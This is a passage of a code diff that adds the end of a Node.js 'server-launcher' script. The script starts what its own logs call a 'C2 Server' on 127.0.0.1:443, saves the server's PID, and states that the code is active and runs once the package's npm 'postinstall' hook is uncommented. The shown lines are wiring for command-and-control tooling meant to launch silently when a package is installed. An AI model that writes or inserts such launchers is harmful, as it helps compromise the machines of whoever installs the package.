+
|
|
182
|
+
serverProcess.on("close", (code) => {
|
|
183
|
+
log(`Server beendet mit Code: ${code}`);
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
// Save PID
|
|
187
|
+
fs.writeFileSync(CONFIG.PID_FILE, serverProcess.pid.toString());
|
|
188
|
+
log(`✓ Server gestartet (PID: ${serverProcess.pid})`);
|
|
189
|
+
// ============================================================
|
|
190
|
+
|
|
191
|
+
log("\n✅ C2 Server starting on 127.0.0.1:443");
|
|
192
|
+
log("Der Python Server lauscht jetzt auf eingehende Client-Verbindungen.");
|
|
193
|
+
log("\n⚠️ This code is ACTIVE. postinstall hook is disabled in package.json.");
|
|
194
|
+
log("To trigger: Uncomment 'postinstall' in package.json");
|
|
195
|
+
log("\n✓ Server-Launcher-Phase abgeschlossen - SERVER LÄUFT");
|
|
196
|
+
log("==========================================================\n");
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
// Execute
|
|
200
|
+
try {
|
|
201
|
+
launchC2Server();
|
|
202
|
+
} catch (err) {
|
|
203
|
+
log(`FEHLER in server-launcher: ${err.message}`);
|
|
204
|
+
log(err.stack);
|
|
205
|
+
process.exit(1);
|
|
206
|
+
}
|